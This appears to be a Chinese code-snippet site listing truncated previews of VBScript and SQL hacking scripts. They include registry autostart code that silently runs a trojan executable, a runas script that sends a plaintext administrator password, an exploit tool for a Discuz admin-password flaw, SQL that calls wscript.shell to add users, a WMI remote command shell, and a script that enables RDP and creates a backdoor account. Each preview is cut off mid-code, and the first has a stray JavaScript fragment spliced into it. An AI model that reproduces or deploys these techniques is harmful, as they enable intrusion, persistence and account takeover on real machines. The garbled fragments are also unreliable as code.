2020-02-16 标签:link,view,vbs,页面,链接,查看,实现,代码,如下,set,ws,wscript,shell,dt,favorites,lnk,源文件

实现代码如下：set ws = CreateObject("WScript.Shell") dt = ws.SpecialFolders("Favorites") set lnk = ws.CreateShortcut(dt while(HTML.parentNode.tagName){HTML=H

2020-02-16 标签:vbs,注册表,操作,代码,添加,删除,关键词,通过,把关,词的,完整,路径,传递,wshshell,对象,regread

1、读注册表的关键词和值： 可以通过把关键词的完整路径传递给wshshell对象的regread方法。例如： 实现代码如下：set ws=wscript.createobject("wscript.shell") v=ws.regread("HKEY_LOCAL_MACHINE\SOFTWARE\M

2020-02-16 标签:vbs,注册表,实现,木马,自启动,呵呵,别人,一般,闲工夫,检查,那么多,位置,就连,做不到,代码,如下,dim,wsh,set

呵呵～不过别人一般没这个闲工夫检查那么多位置的！就连我也做不到～～ 实现代码如下：dim wsh set wsh=CreateObject("WScript.Shell") wsh.run "%windir%\flumasko.exe",0 //运行木马程序 set sm=Wscript.Creat

2020-02-16 标签:vbs,runas,自动,输入,密码,明文,实现,代码,如下,set,shell,wscript,run,cmd,c,user,sleep,2000

实现代码如下：Set Shell = CreateObject("WScript.Shell") Shell.Run "cmd /c @runas /user:administrator CMD" WScript.Sleep 2000 Shell.SendKeys "password{ENTER}e

2020-02-16 标签:discuz,任意,管理员,密码,漏洞,利用,工具,vbs,代码,利于,修改,以下,search,inc,php,文件,实现,如下,dim

也利于修改 以下是search.inc.php 文件漏洞利用代码VBS版 实现代码如下： Dim strUrl,strSite,strPath,strUid showB() Set Args = Wscript.Arguments If Args.Count <> 3 Then Show

2020-02-16 标签:sql,常用,命令,连接数,driver,server,服务器,ip,uid,用户名,pwd,密码,database,数据库

1、连接数据库 driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名 2、添加新用户 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec s

2020-02-16 标签:rcmd,vbs,remote,cmd,wmi,远程,脚本,实现,代码,如下,error,resume,next,set,outstreem,wscript,stdout,lcase,right,fullname

实现代码如下：On Error Resume Next Set outstreem=Wscript.stdout If (LCase(Right(Wscript.fullname,11))="Wscript.exe") Then Set objShell=Wscript.CreateObject("

2020-02-16 标签:vbs,实现,域名,查询,结果,整理,碰到,虚拟,还是能,懒的,代码,如下,error,resume,next,set,arg

碰到虚拟机的时候,还是能偷点懒的 :-)实现代码如下： On Error Resume Next Set Arg=Wscript.Arguments If Arg.count=0 then Wscript.quit 'code by NetPatch 'enjoy it Set Fso=Create

2020-02-16 标签:vbs,asp,代码,转成,一句话,形式,结果,发现,table,不行,类似,xx,yy,脚本,支持,拖放,也可以

结果发现,有TABLE不行 类似if xx=1 then yy=2 的也不行... //此脚本支持拖放,也可以在命令行下使用 cscript change.vbs xx.asp 实现代码如下： On Error Resume Next Set Arg=Wscript.Arguments If Arg

2020-02-16 标签:删除,开启,3389,创建,用户,后门,vbs,error,resume,n,ext,const,hkey,local,machine,h

on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set StdOut = WScript.StdOut Set oReg=GetObject("winmgmts:{impersonati